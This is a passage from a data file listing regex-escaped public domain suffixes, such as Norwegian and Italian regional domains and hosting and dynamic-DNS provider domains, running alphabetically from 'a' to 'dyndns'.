"alaheadju\\\\.no\",\"aland\\\\.fi\",\"alessandria\\\\.it\",\"alesund\\\\.no\",\"algard\\\\.no\",\"aliases121\\\\.com\",\"alibabacloudcs\\\\.com\",\"alpha\\\\-myqnapcloud\\\\.com\",\"alstahaug\\\\.no\",\"alt\\\\.na\",\"alt\\\\.za\",\"alta\\\\.no\",\"altervista\\\\.org\",\"alto\\\\-adige\\\\.it\",\"altoadige\\\\.it\",\"alumni\\\\.in\",\"alvdal\\\\.no\",\"alwaysdata\\\\.net\",\"am\\\\.br\",\"am\\\\.in\",\"ambulance\\\\.aero\",\"amli\\\\.no\",\"amot\\\\.no\",\"amplifyapp\\\\.com\",\"an\\\\.it\",\"anani\\\\.br\",\"ancona\\\\.it\",\"andasuolo\\\\.no\",\"andebu\\\\.no\",\"andoy\\\\.no\",\"andria\\\\-barletta\\\\-trani\\\\.it\",\"andria\\\\-trani\\\\-barletta\\\\.it\",\"andriabarlettatrani\\\\.it\",\"andriatranibarletta\\\\.it\",\"and\\u00f8y\\\\.no\",\"angiang\\\\.vn\",\"angry\\\\.jp\",\"antagonist\\\\.cloud\",\"ao\\\\.it\",\"aomori\\\\.jp\",\"aosta\\\\-valley\\\\.it\",\"aosta\\\\.it\",\"aostavalley\\\\.it\",\"aoste\\\\.it\",\"ap\\\\.it\",\"aparecida\\\\.br\",\"api\\\\.br\",\"apigee\\\\.io\",\"app\\\\-ionos\\\\.space\",\"app\\\\.br\",\"appchizi\\\\.com\",\"applinzi\\\\.com\",\"apps\\\\-1and1\\\\.com\",\"apps\\\\-1and1\\\\.net\",\"appspacehosted\\\\.com\",\"appspaceusercontent\\\\.com\",\"appspot\\\\.com\",\"appudo\\\\.net\",\"appwrite\\\\.global\",\"appwrite\\\\.network\",\"aq\\\\.it\",\"ar\\\\.it\",\"ar\\\\.us\",\"architectes\\\\.bj\",\"ardal\\\\.no\",\"aremark\\\\.no\",\"arendal\\\\.no\",\"arezzo\\\\.it\",\"arkhangelsk\\\\.su\",\"armenia\\\\.su\",\"arna\\\\.no\",\"arq\\\\.br\",\"arqt\\\\.ec\",\"art\\\\.br\",\"art\\\\.do\",\"art\\\\.dz\",\"art\\\\.ec\",\"art\\\\.ht\",\"art\\\\.ml\",\"art\\\\.pl\",\"art\\\\.sn\",\"arte\\\\.bo\",\"arts\\\\.nf\",\"arts\\\\.ro\",\"arts\\\\.ve\",\"arvanedge\\\\.ir\",\"arvo\\\\.network\",\"as\\\\.us\",\"ascoli\\\\-piceno\\\\.it\",\"ascolipiceno\\\\.it\",\"aseral\\\\.no\",\"ashgabad\\\\.su\",\"asker\\\\.no\",\"askim\\\\.no\",\"askoy\\\\.no\",\"askvoll\\\\.no\",\"ask\\u00f8y\\\\.no\",\"asn\\\\.au\",\"asn\\\\.lv\",\"asnes\\\\.no\",\"ass\\\\.km\",\"assessments\\\\.cx\",\"assn\\\\.lk\",\"asso\\\\.ci\",\"asso\\\\.dz\",\"asso\\\\.fr\",\"asso\\\\.gp\",\"asso\\\\.ht\",\"asso\\\\.km\",\"asso\\\\.mc\",\"asso\\\\.ml\",\"asso\\\\.nc\",\"asso\\\\.re\",\"association\\\\.aero\",\"assur\\\\.bj\",\"asti\\\\.it\",\"at\\\\-band\\\\-camp\\\\.net\",\"at\\\\.it\",\"ath\\\\.cx\",\"atm\\\\.pl\",\"atmeta\\\\.com\",\"ato\\\\.br\",\"audnedal\\\\.no\",\"augustow\\\\.pl\",\"aukra\\\\.no\",\"aure\\\\.no\",\"aurland\\\\.no\",\"aurskog\\\\-holand\\\\.no\",\"aurskog\\\\-h\\u00f8land\\\\.no\",\"aus\\\\.basketball\",\"austevoll\\\\.no\",\"austrheim\\\\.no\",\"authgear\\\\-staging\\\\.com\",\"authgearapps\\\\.com\",\"author\\\\.aero\",\"auto\\\\.pl\",\"av\\\\.it\",\"av\\\\.tr\",\"avellino\\\\.it\",\"averoy\\\\.no\",\"aver\\u00f8y\\\\.no\",\"avocat\\\\.fr\",\"avocat\\\\.pro\",\"avocats\\\\.bj\",\"avoues\\\\.fr\",\"awsapps\\\\.com\",\"awsglobalaccelerator\\\\.com\",\"az\\\\.us\",\"azerbaijan\\\\.su\",\"azimuth\\\\.network\",\"azure\\\\-api\\\\.net\",\"azure\\\\-api\\\\.us\",\"azure\\\\-mobile\\\\.net\",\"azureedge\\\\.net\",\"azurefd\\\\.net\",\"azurestaticapps\\\\.net\",\"azurewebsites\\\\.net\",\"azurewebsites\\\\.us\",\"a\\u00e9roport\\\\.ci\",\"b\\\\-data\\\\.io\",\"b\\\\.bg\",\"b\\\\.br\",\"b\\\\.se\",\"ba\\\\.it\",\"babia\\\\-gora\\\\.pl\",\"babyblue\\\\.jp\",\"babymilk\\\\.jp\",\"bacgiang\\\\.vn\",\"backan\\\\.vn\",\"backdrop\\\\.jp\",\"baclieu\\\\.vn\",\"bacninh\\\\.vn\",\"badaddja\\\\.no\",\"bahcavuotna\\\\.no\",\"bahccavuotna\\\\.no\",\"baidar\\\\.no\",\"bajddar\\\\.no\",\"balashov\\\\.su\",\"balat\\\\.no\",\"balena\\\\-devices\\\\.com\",\"balestrand\\\\.no\",\"ballangen\\\\.no\",\"ballooning\\\\.aero\",\"balsan\\\\-sudtirol\\\\.it\",\"balsan\\\\-suedtirol\\\\.it\",\"balsan\\\\-s\\u00fcdtirol\\\\.it\",\"balsan\\\\.it\",\"balsfjord\\\\.no\",\"bambina\\\\.jp\",\"bamble\\\\.no\",\"bank\\\\.in\",\"bar\\\\.ec\",\"bar\\\\.pro\",\"bardu\\\\.no\",\"bari\\\\.it\",\"baria\\\\-vungtau\\\\.vn\",\"barletta\\\\-trani\\\\-andria\\\\.it\",\"barlettatraniandria\\\\.it\",\"barrel\\\\-of\\\\-knowledge\\\\.info\",\"barrell\\\\-of\\\\-knowledge\\\\.info\",\"barsy\\\\.bg\",\"barsy\\\\.ca\",\"barsy\\\\.club\",\"barsy\\\\.de\",\"barsy\\\\.dev\",\"barsy\\\\.eu\",\"barsy\\\\.gr\",\"barsy\\\\.in\",\"barsy\\\\.info\",\"barsy\\\\.io\",\"barsy\\\\.me\",\"barsy\\\\.menu\",\"barsy\\\\.mobi\",\"barsy\\\\.net\",\"barsy\\\\.online\",\"barsy\\\\.org\",\"barsy\\\\.pro\",\"barsy\\\\.pub\",\"barsy\\\\.ro\",\"barsy\\\\.rs\",\"barsy\\\\.shop\",\"barsy\\\\.site\",\"barsy\\\\.store\",\"barsy\\\\.support\",\"barsy\\\\.uk\",\"barsycenter\\\\.com\",\"barsyonline\\\\.com\",\"barsyonline\\\\.menu\",\"barsyonline\\\\.shop\",\"barueri\\\\.br\",\"barum\\\\.no\",\"bas\\\\.it\",\"base44\\\\-sandbox\\\\.com\",\"base44\\\\.app\",\"base\\\\.ec\",\"base\\\\.shop\",\"bashkiria\\\\.ru\",\"bashkiria\\\\.su\",\"basicserver\\\\.io\",\"basilicata\\\\.it\",\"batsfjord\\\\.no\",\"bbs\\\\.tr\",\"bc\\\\.ca\",\"bd\\\\.se\",\"beagleboard\\\\.io\",\"bearalvahki\\\\.no\",\"bearalv\\u00e1hki\\\\.no\",\"bearblog\\\\.dev\",\"beardu\\\\.no\",\"bedzin\\\\.pl\",\"beep\\\\.pl\",\"beiarn\\\\.no\",\"bel\\\\.tr\",\"belem\\\\.br\",\"belluno\\\\.it\",\"benevento\\\\.it\",\"bentre\\\\.vn\",\"berg\\\\.no\",\"bergamo\\\\.it\",\"bergen\\\\.no\",\"berlevag\\\\.no\",\"berlev\\u00e5g\\\\.no\",\"beskidy\\\\.pl\",\"bet\\\\.ar\",\"bet\\\\.br\",\"better\\\\-than\\\\.tv\",\"bg\\\\.it\",\"bhz\\\\.br\",\"bi\\\\.it\",\"bialowieza\\\\.pl\",\"bialystok\\\\.pl\",\"bib\\\\.br\",\"bib\\\\.ve\",\"bielawa\\\\.pl\",\"biella\\\\.it\",\"bielsko\\\\.pl\",\"bieszczady\\\\.pl\",\"bievat\\\\.no\",\"biev\\u00e1t\\\\.no\",\"bihar\\\\.in\",\"bindal\\\\.no\",\"binhdinh\\\\.vn\",\"binhduong\\\\.vn\",\"binhphuoc\\\\.vn\",\"binhthuan\\\\.vn\",\"bio\\\\.br\",\"bir\\\\.ru\",\"birkenes\\\\.no\",\"bitbucket\\\\.io\",\"bitter\\\\.jp\",\"biz\\\\.az\",\"biz\\\\.bb\",\"biz\\\\.cy\",\"biz\\\\.dk\",\"biz\\\\.et\",\"biz\\\\.fj\",\"biz\\\\.gh\",\"biz\\\\.id\",\"biz\\\\.in\",\"biz\\\\.ki\",\"biz\\\\.ls\",\"biz\\\\.mv\",\"biz\\\\.mw\",\"biz\\\\.my\",\"biz\\\\.ng\",\"biz\\\\.ni\",\"biz\\\\.nr\",\"biz\\\\.pk\",\"biz\\\\.pl\",\"biz\\\\.pr\",\"biz\\\\.ss\",\"biz\\\\.tj\",\"biz\\\\.tr\",\"biz\\\\.tt\",\"biz\\\\.ua\",\"biz\\\\.vn\",\"biz\\\\.wf\",\"biz\\\\.zm\",\"bj\\\\.cn\",\"bjerkreim\\\\.no\",\"bjugn\\\\.no\",\"bl\\\\.it\",\"blackbaudcdn\\\\.net\",\"blog\\\\.bo\",\"blog\\\\.br\",\"blogdns\\\\.com\",\"blogdns\\\\.net\",\"blogdns\\\\.org\",\"blogsite\\\\.org\",\"blogspot\\\\.com\",\"blogsyte\\\\.com\",\"bluebite\\\\.io\",\"blush\\\\.jp\",\"bmd\\\\.br\",\"bmoattachments\\\\.org\",\"bn\\\\.it\",\"bnr\\\\.la\",\"bo\\\\.it\",\"boavista\\\\.br\",\"bodo\\\\.no\",\"bod\\u00f8\\\\.no\",\"bokn\\\\.no\",\"boldlygoingnowhere\\\\.org\",\"boleslawiec\\\\.pl\",\"bolivia\\\\.bo\",\"bologna\\\\.it\",\"bolt\\\\.host\",\"bolt\\\\.hu\",\"bolzano\\\\-altoadige\\\\.it\",\"bolzano\\\\.it\",\"bomlo\\\\.no\",\"bona\\\\.jp\",\"boo\\\\.jp\",\"book\\\\.online\",\"boomla\\\\.net\",\"botda\\\\.sh\",\"botdash\\\\.app\",\"botdash\\\\.dev\",\"botdash\\\\.gg\",\"botdash\\\\.net\",\"botdash\\\\.xyz\",\"bounceme\\\\.net\",\"boutir\\\\.com\",\"box\\\\.ca\",\"boxfuse\\\\.io\",\"boy\\\\.jp\",\"boyfriend\\\\.jp\",\"bozen\\\\-sudtirol\\\\.it\",\"bozen\\\\-suedtirol\\\\.it\",\"bozen\\\\-s\\u00fcdtirol\\\\.it\",\"bozen\\\\.it\",\"bplaced\\\\.com\",\"bplaced\\\\.de\",\"bplaced\\\\.net\",\"br\\\\.com\",\"br\\\\.it\",\"brand\\\\.se\",\"brasilia\\\\.me\",\"brave\\\\.app\",\"brave\\\\.dev\",\"brave\\\\.io\",\"bremanger\\\\.no\",\"brescia\\\\.it\",\"brindisi\\\\.it\",\"broke\\\\-it\\\\.net\",\"broker\\\\.aero\",\"bronnoy\\\\.no\",\"bronnoysund\\\\.no\",\"browsersafetymark\\\\.io\",\"brumunddal\\\\.no\",\"bryansk\\\\.su\",\"bryne\\\\.no\",\"br\\u00f8nn\\u00f8y\\\\.no\",\"br\\u00f8nn\\u00f8ysund\\\\.no\",\"bs\\\\.it\",\"bsb\\\\.br\",\"bss\\\\.design\",\"bt\\\\.it\",\"bu\\\\.no\",\"bubbleapps\\\\.io\",\"budejju\\\\.no\",\"builtwithdark\\\\.com\",\"bukhara\\\\.su\",\"bulsan\\\\-sudtirol\\\\.it\",\"bulsan\\\\-suedtirol\\\\.it\",\"bulsan\\\\-s\\u00fcdtirol\\\\.it\",\"bulsan\\\\.it\",\"bumbleshrimp\\\\.com\",\"busan\\\\.kr\",\"business\\\\.in\",\"but\\\\.jp\",\"buyshop\\\\.jp\",\"buyshouses\\\\.net\",\"bydgoszcz\\\\.pl\",\"byen\\\\.site\",\"bygland\\\\.no\",\"bykle\\\\.no\",\"bytom\\\\.pl\",\"bz\\\\.it\",\"b\\u00e1hcavuotna\\\\.no\",\"b\\u00e1hccavuotna\\\\.no\",\"b\\u00e1id\\u00e1r\\\\.no\",\"b\\u00e1jddar\\\\.no\",\"b\\u00e1l\\u00e1t\\\\.no\",\"b\\u00e5d\\u00e5ddj\\u00e5\\\\.no\",\"b\\u00e5tsfjord\\\\.no\",\"b\\u00e6rum\\\\.no\",\"b\\u00f8mlo\\\\.no\",\"c01\\\\.kr\",\"c66\\\\.me\",\"c\\\\.bg\",\"c\\\\.se\",\"ca\\\\.in\",\"ca\\\\.it\",\"ca\\\\.us\",\"caa\\\\.aero\",\"cable\\\\-modem\\\\.org\",\"caffeine\\\\.site\",\"caffeine\\\\.xyz\",\"cafjs\\\\.com\",\"cagliari\\\\.it\",\"cahcesuolo\\\\.no\",\"cal\\\\.it\",\"calabria\\\\.it\",\"calculators\\\\.cx\",\"caltanissetta\\\\.it\",\"cam\\\\.it\",\"camau\\\\.vn\",\"camdvr\\\\.org\",\"campania\\\\.it\",\"campidano\\\\-medio\\\\.it\",\"campidanomedio\\\\.it\",\"campinagrande\\\\.br\",\"campinas\\\\.br\",\"campobasso\\\\.it\",\"can\\\\.re\",\"candypop\\\\.jp\",\"cantho\\\\.vn\",\"canva\\\\-apps\\\\.cn\",\"canva\\\\-apps\\\\.com\",\"canva\\\\-code\\\\.cn\",\"canva\\\\-hosted\\\\-embed\\\\.com\",\"canva\\\\.link\",\"canva\\\\.run\",\"canvacode\\\\.com\",\"caobang\\\\.vn\",\"capoo\\\\.jp\",\"carbonia\\\\-iglesias\\\\.it\",\"carboniaiglesias\\\\.it\",\"cargo\\\\.aero\",\"carrara\\\\-massa\\\\.it\",\"carraramassa\\\\.it\",\"carrd\\\\.co\",\"casacam\\\\.net\",\"caserta\\\\.it\",\"casino\\\\.hu\",\"catania\\\\.it\",\"catanzaro\\\\.it\",\"catering\\\\.aero\",\"catfood\\\\.jp\",\"caxias\\\\.br\",\"cb\\\\.it\",\"cbg\\\\.ru\",\"cc\\\\.cd\",\"cc\\\\.ua\",\"cci\\\\.fr\",\"ccwu\\\\.cc\",\"cdn77\\\\-ssl\\\\.net\",\"cdn77\\\\-storage\\\\.com\",\"cdn\\\\-edges\\\\.net\",\"ce\\\\.it\",\"cechire\\\\.com\",\"certification\\\\.aero\",\"cesena\\\\-forli\\\\.it\",\"cesena\\\\-forl\\u00ec\\\\.it\",\"cesenaforli\\\\.it\",\"cesenaforl\\u00ec\\\\.it\",\"cf\\\\-ipfs\\\\.com\",\"cfolks\\\\.pl\",\"ch\\\\.it\",\"chambagri\\\\.fr\",\"championship\\\\.aero\",\"channelsdvr\\\\.net\",\"charter\\\\.aero\",\"chatgpt\\\\.site\",\"cheap\\\\.jp\",\"chef\\\\.ec\",\"cherkassy\\\\.ua\",\"cherkasy\\\\.ua\",\"chernigov\\\\.ua\",\"chernihiv\\\\.ua\",\"chernivtsi\\\\.ua\",\"chernovtsy\\\\.ua\",\"chiba\\\\.jp\",\"chicappa\\\\.jp\",\"chieti\\\\.it\",\"chillout\\\\.jp\",\"chimkent\\\\.su\",\"chips\\\\.jp\",\"chirurgiens\\\\-dentistes\\\\-en\\\\-france\\\\.fr\",\"chirurgiens\\\\-dentistes\\\\.fr\",\"chowder\\\\.jp\",\"chu\\\\.jp\",\"chungbuk\\\\.kr\",\"chungnam\\\\.kr\",\"ci\\\\.it\",\"ciao\\\\.jp\",\"ciencia\\\\.bo\",\"cieszyn\\\\.pl\",\"cim\\\\.br\",\"ciscofreak\\\\.com\",\"cistron\\\\.nl\",\"city\\\\.hu\",\"civilaviation\\\\.aero\",\"ck\\\\.ua\",\"cl\\\\.it\",\"clan\\\\.rip\",\"claude\\\\.app\",\"claudeusercontent\\\\.com\",\"clerk\\\\.app\",\"clerkstage\\\\.app\",\"cleverapps\\\\.cc\",\"cleverapps\\\\.io\",\"cleverapps\\\\.tech\",\"clickrising\\\\.net\",\"cloud66\\\\.ws\",\"cloud\\\\-ip\\\\.biz\",\"cloud\\\\-ip\\\\.cc\",\"cloud\\\\.goog\",\"cloud\\\\.run\",\"cloudaccess\\\\.host\",\"cloudaccess\\\\.net\",\"cloudapp\\\\.net\",\"cloudbeesusercontent\\\\.io\",\"cloudflare\\\\-ipfs\\\\.com\",\"cloudflare\\\\.app\",\"cloudflare\\\\.net\",\"cloudfront\\\\.net\",\"cloudfunctions\\\\.net\",\"cloudjiffy\\\\.net\",\"cloudns\\\\.asia\",\"cloudns\\\\.be\",\"cloudns\\\\.biz\",\"cloudns\\\\.cc\",\"cloudns\\\\.ch\",\"cloudns\\\\.cl\",\"cloudns\\\\.club\",\"cloudns\\\\.cx\",\"cloudns\\\\.eu\",\"cloudns\\\\.in\",\"cloudns\\\\.info\",\"cloudns\\\\.nz\",\"cloudns\\\\.org\",\"cloudns\\\\.ph\",\"cloudns\\\\.pro\",\"cloudns\\\\.pw\",\"cloudns\\\\.us\",\"cloudsite\\\\.builders\",\"cloudycluster\\\\.net\",\"club\\\\.aero\",\"club\\\\.tw\",\"cn\\\\.com\",\"cn\\\\.in\",\"cn\\\\.it\",\"cn\\\\.ua\",\"cng\\\\.br\",\"cnpy\\\\.gdn\",\"cnt\\\\.br\",\"co\\\\.ae\",\"co\\\\.ag\",\"co\\\\.am\",\"co\\\\.ao\",\"co\\\\.at\",\"co\\\\.az\",\"co\\\\.bb\",\"co\\\\.bd\",\"co\\\\.bi\",\"co\\\\.bj\",\"co\\\\.bn\",\"co\\\\.business\",\"co\\\\.bw\",\"co\\\\.bz\",\"co\\\\.ca\",\"co\\\\.ci\",\"co\\\\.cl\",\"co\\\\.cm\",\"co\\\\.com\",\"co\\\\.cr\",\"co\\\\.cz\",\"co\\\\.de\",\"co\\\\.dk\",\"co\\\\.dm\",\"co\\\\.education\",\"co\\\\.events\",\"co\\\\.financial\",\"co\\\\.gg\",\"co\\\\.gl\",\"co\\\\.gy\",\"co\\\\.hu\",\"co\\\\.id\",\"co\\\\.il\",\"co\\\\.im\",\"co\\\\.in\",\"co\\\\.io\",\"co\\\\.ir\",\"co\\\\.it\",\"co\\\\.je\",\"co\\\\.jp\",\"co\\\\.ke\",\"co\\\\.kr\",\"co\\\\.krd\",\"co\\\\.lc\",\"co\\\\.ls\",\"co\\\\.ma\",\"co\\\\.me\",\"co\\\\.mg\",\"co\\\\.mu\",\"co\\\\.mw\",\"co\\\\.mz\",\"co\\\\.na\",\"co\\\\.network\",\"co\\\\.ni\",\"co\\\\.nl\",\"co\\\\.no\",\"co\\\\.nz\",\"co\\\\.om\",\"co\\\\.pl\",\"co\\\\.place\",\"co\\\\.pn\",\"co\\\\.ro\",\"co\\\\.rs\",\"co\\\\.rw\",\"co\\\\.scot\",\"co\\\\.site\",\"co\\\\.ss\",\"co\\\\.st\",\"co\\\\.sz\",\"co\\\\.technology\",\"co\\\\.th\",\"co\\\\.tj\",\"co\\\\.tm\",\"co\\\\.tt\",\"co\\\\.tz\",\"co\\\\.ua\",\"co\\\\.ug\",\"co\\\\.uk\",\"co\\\\.us\",\"co\\\\.uz\",\"co\\\\.ve\",\"co\\\\.vi\",\"co\\\\.za\",\"co\\\\.zm\",\"co\\\\.zw\",\"cocotte\\\\.jp\",\"codeberg\\\\.page\",\"codepen\\\\.app\",\"codepen\\\\.dev\",\"codespot\\\\.com\",\"col\\\\.ng\",\"collegefan\\\\.org\",\"com\\\\.ac\",\"com\\\\.af\",\"com\\\\.ag\",\"com\\\\.ai\",\"com\\\\.al\",\"com\\\\.am\",\"com\\\\.ar\",\"com\\\\.au\",\"com\\\\.aw\",\"com\\\\.az\",\"com\\\\.ba\",\"com\\\\.bb\",\"com\\\\.bd\",\"com\\\\.bh\",\"com\\\\.bi\",\"com\\\\.bj\",\"com\\\\.bm\",\"com\\\\.bn\",\"com\\\\.bo\",\"com\\\\.br\",\"com\\\\.bs\",\"com\\\\.bt\",\"com\\\\.by\",\"com\\\\.bz\",\"com\\\\.ci\",\"com\\\\.cm\",\"com\\\\.cn\",\"com\\\\.co\",\"com\\\\.cu\",\"com\\\\.cv\",\"com\\\\.cw\",\"com\\\\.cy\",\"com\\\\.de\",\"com\\\\.dm\",\"com\\\\.do\",\"com\\\\.dz\",\"com\\\\.ec\",\"com\\\\.ee\",\"com\\\\.eg\",\"com\\\\.es\",\"com\\\\.et\",\"com\\\\.fj\",\"com\\\\.fm\",\"com\\\\.fr\",\"com\\\\.ge\",\"com\\\\.gh\",\"com\\\\.gi\",\"com\\\\.gl\",\"com\\\\.gn\",\"com\\\\.gp\",\"com\\\\.gr\",\"com\\\\.gt\",\"com\\\\.gu\",\"com\\\\.gy\",\"com\\\\.hk\",\"com\\\\.hn\",\"com\\\\.hr\",\"com\\\\.ht\",\"com\\\\.im\",\"com\\\\.in\",\"com\\\\.io\",\"com\\\\.iq\",\"com\\\\.jo\",\"com\\\\.kg\",\"com\\\\.kh\",\"com\\\\.ki\",\"com\\\\.km\",\"com\\\\.kp\",\"com\\\\.kw\",\"com\\\\.ky\",\"com\\\\.kz\",\"com\\\\.la\",\"com\\\\.lb\",\"com\\\\.lc\",\"com\\\\.lk\",\"com\\\\.lr\",\"com\\\\.lv\",\"com\\\\.ly\",\"com\\\\.mg\",\"com\\\\.mk\",\"com\\\\.ml\",\"com\\\\.mo\",\"com\\\\.ms\",\"com\\\\.mt\",\"com\\\\.mu\",\"com\\\\.mv\",\"com\\\\.mw\",\"com\\\\.mx\",\"com\\\\.my\",\"com\\\\.na\",\"com\\\\.nf\",\"com\\\\.ng\",\"com\\\\.ni\",\"com\\\\.nr\",\"com\\\\.om\",\"com\\\\.pa\",\"com\\\\.pe\",\"com\\\\.pf\",\"com\\\\.ph\",\"com\\\\.pk\",\"com\\\\.pl\",\"com\\\\.pr\",\"com\\\\.ps\",\"com\\\\.pt\",\"com\\\\.py\",\"com\\\\.qa\",\"com\\\\.re\",\"com\\\\.ro\",\"com\\\\.ru\",\"com\\\\.sa\",\"com\\\\.sb\",\"com\\\\.sc\",\"com\\\\.sd\",\"com\\\\.se\",\"com\\\\.sg\",\"com\\\\.sh\",\"com\\\\.sl\",\"com\\\\.sn\",\"com\\\\.so\",\"com\\\\.ss\",\"com\\\\.st\",\"com\\\\.sv\",\"com\\\\.sy\",\"com\\\\.tj\",\"com\\\\.tm\",\"com\\\\.tn\",\"com\\\\.to\",\"com\\\\.tr\",\"com\\\\.tt\",\"com\\\\.tw\",\"com\\\\.ua\",\"com\\\\.ug\",\"com\\\\.uy\",\"com\\\\.uz\",\"com\\\\.vc\",\"com\\\\.ve\",\"com\\\\.vi\",\"com\\\\.vn\",\"com\\\\.vu\",\"com\\\\.ws\",\"com\\\\.ye\",\"com\\\\.zm\",\"commune\\\\.am\",\"community\\\\-pro\\\\.de\",\"community\\\\-pro\\\\.net\",\"como\\\\.it\",\"conf\\\\.au\",\"conf\\\\.lv\",\"conference\\\\.aero\",\"conn\\\\.uk\",\"consulado\\\\.st\",\"consultant\\\\.aero\",\"consulting\\\\.aero\",\"cont\\\\.ec\",\"contagem\\\\.br\",\"control\\\\.aero\",\"convex\\\\.app\",\"convex\\\\.cloud\",\"convex\\\\.site\",\"coolblog\\\\.jp\",\"coop\\\\.ar\",\"coop\\\\.br\",\"coop\\\\.ht\",\"coop\\\\.in\",\"coop\\\\.km\",\"coop\\\\.mv\",\"coop\\\\.mw\",\"coop\\\\.py\",\"coop\\\\.rw\",\"cooperativa\\\\.bo\",\"copro\\\\.uk\",\"corespeed\\\\.app\",\"cosenza\\\\.it\",\"couchpotatofries\\\\.org\",\"council\\\\.aero\",\"coz\\\\.br\",\"cpa\\\\.ec\",\"cpa\\\\.pro\",\"cpanel\\\\.site\",\"cprapid\\\\.com\",\"cpserver\\\\.com\",\"cq\\\\.cn\",\"cr\\\\.it\",\"cr\\\\.ua\",\"craft\\\\.me\",\"cranky\\\\.jp\",\"crap\\\\.jp\",\"crd\\\\.co\",\"cremona\\\\.it\",\"crew\\\\.aero\",\"cri\\\\.br\",\"cri\\\\.nz\",\"crimea\\\\.ua\",\"crotone\\\\.it\",\"cs\\\\.in\",\"cs\\\\.it\",\"csb\\\\.app\",\"csx\\\\.cc\",\"ct\\\\.it\",\"ct\\\\.us\",\"ctfcloud\\\\.net\",\"cue\\\\.ec\",\"cuiaba\\\\.br\",\"cuneo\\\\.it\",\"curitiba\\\\.br\",\"cutegirl\\\\.jp\",\"cv\\\\.ua\",\"cx\\\\.ua\",\"cyb\\\\.ge\",\"cyon\\\\.link\",\"cyon\\\\.site\",\"cz\\\\.it\",\"czeladz\\\\.pl\",\"czest\\\\.pl\",\"d\\\\.bg\",\"d\\\\.se\",\"daa\\\\.jp\",\"daegu\\\\.kr\",\"daejeon\\\\.kr\",\"daemon\\\\.asia\",\"dagestan\\\\.ru\",\"dagestan\\\\.su\",\"daklak\\\\.vn\",\"daknong\\\\.vn\",\"damnserver\\\\.com\",\"danang\\\\.vn\",\"darklang\\\\.io\",\"dattolocal\\\\.com\",\"dattolocal\\\\.net\",\"dattorelay\\\\.com\",\"dattoweb\\\\.com\",\"davvenjarga\\\\.no\",\"davvenj\\u00e1rga\\\\.no\",\"davvesiida\\\\.no\",\"daynight\\\\.jp\",\"dc\\\\.us\",\"ddns\\\\-ip\\\\.net\",\"ddns\\\\.berlin\",\"ddns\\\\.me\",\"ddns\\\\.net\",\"ddns\\\\.wtf\",\"ddnsfree\\\\.com\",\"ddnsgeek\\\\.com\",\"ddnsguru\\\\.com\",\"ddnsking\\\\.com\",\"ddnss\\\\.de\",\"ddnss\\\\.org\",\"ddnssec\\\\.de\",\"de5\\\\.net\",\"de\\\\.com\",\"de\\\\.cool\",\"de\\\\.us\",\"deatnu\\\\.no\",\"debian\\\\.net\",\"deca\\\\.jp\",\"deci\\\\.jp\",\"dedibox\\\\.fr\",\"dedyn\\\\.io\",\"def\\\\.br\",\"definima\\\\.io\",\"definima\\\\.net\",\"delhi\\\\.in\",\"dell\\\\-ogliastra\\\\.it\",\"dellogliastra\\\\.it\",\"democracia\\\\.bo\",\"demon\\\\.nl\",\"deno\\\\-staging\\\\.dev\",\"deno\\\\.dev\",\"deno\\\\.net\",\"dent\\\\.ec\",\"dep\\\\.no\",\"deployagent\\\\.com\",\"deployagent\\\\.space\",\"deporte\\\\.bo\",\"des\\\\.br\",\"desa\\\\.id\",\"design\\\\.aero\",\"det\\\\.br\",\"deus\\\\-canvas\\\\.com\",\"deuxfleurs\\\\.eu\",\"deuxfleurs\\\\.page\",\"dev\\\\-myqnapcloud\\\\.com\",\"dev\\\\.br\",\"dev\\\\.cv\",\"development\\\\.run\",\"dfirma\\\\.pl\",\"dgca\\\\.aero\",\"dgn\\\\.ec\",\"diadem\\\\.cloud\",\"dielddanuorri\\\\.no\",\"dienbien\\\\.vn\",\"digick\\\\.jp\",\"directwp\\\\.eu\",\"disco\\\\.ec\",\"discordsays\\\\.com\",\"discordsez\\\\.com\",\"discourse\\\\.diy\",\"discourse\\\\.group\",\"discourse\\\\.team\",\"diskstation\\\\.me\",\"diskussionsbereich\\\\.de\",\"ditchyourip\\\\.com\",\"divtasvuodna\\\\.no\",\"divttasvuotna\\\\.no\",\"dix\\\\.asia\",\"dkonto\\\\.pl\",\"dlugoleka\\\\.pl\",\"dn\\\\.ua\",\"dnepropetrovsk\\\\.ua\",\"dni\\\\.us\",\"dnipropetrovsk\\\\.ua\",\"dns\\\\-cloud\\\\.net\",\"dns\\\\-dynamic\\\\.net\",\"dnsabr\\\\.com\",\"dnsalias\\\\.com\",\"dnsalias\\\\.net\",\"dnsalias\\\\.org\",\"dnsdojo\\\\.com\",\"dnsdojo\\\\.net\",\"dnsdojo\\\\.org\",\"dnsfor\\\\.me\",\"dnshome\\\\.at\",\"dnshome\\\\.cloud\",\"dnshome\\\\.de\",\"dnshome\\\\.eu\",\"dnshome\\\\.it\",\"dnsiskinky\\\\.com\",\"dnsking\\\\.ch\",\"dnsup\\\\.net\",\"dnsupdate\\\\.info\",\"dnsupdater\\\\.de\",\"doc\\\\.ec\",\"does\\\\-it\\\\.net\",\"doesntexist\\\\.com\",\"doesntexist\\\\.org\",\"dojin\\\\.com\",\"donetsk\\\\.ua\",\"dongnai\\\\.vn\",\"dongthap\\\\.vn\",\"donna\\\\.no\",\"dontexist\\\\.com\",\"dontexist\\\\.net\",\"dontexist\\\\.org\",\"doomdns\\\\.com\",\"doomdns\\\\.org\",\"dopaas\\\\.com\",\"dovre\\\\.no\",\"dp\\\\.ua\",\"dpdns\\\\.org\",\"dr\\\\.in\",\"dr\\\\.tr\",\"drammen\\\\.no\",\"drangedal\\\\.no\",\"drayddns\\\\.com\",\"dreamhosters\\\\.com\",\"drive\\\\-platform\\\\.com\",\"drive\\\\-platform\\\\.io\",\"drobak\\\\.no\",\"drr\\\\.ac\",\"dr\\u00f8bak\\\\.no\",\"dscloud\\\\.biz\",\"dscloud\\\\.me\",\"dscloud\\\\.mobi\",\"dsmynas\\\\.com\",\"dsmynas\\\\.net\",\"dsmynas\\\\.org\",\"duckdns\\\\.org\",\"durumis\\\\.com\",\"dvrcam\\\\.info\",\"dvrdns\\\\.org\",\"dy\\\\.fi\",\"dyn\\\\-berlin\\\\.de\",\"dyn\\\\-ip24\\\\.de\",\"dyn\\\\-o\\\\-saur\\\\.com\",\"dyn\\\\.now\",\"dynalias\\\\.com\",\"dynalias\\\\.net\",\"dynalias\\\\.org\",\"dynamic\\\\-dns\\\\.info\",\"dynamisches\\\\-dns\\\\.de\",\"dynathome\\\\.net\",\"dyndns1\\\\.de\",\"dyndns\\\\-at\\\\-home\\\\.com\",\"dyndns\\\\-at\\\\-work\\\\.com\",\"dyndns\\\\-blog\\\\.com\",\"dyndns\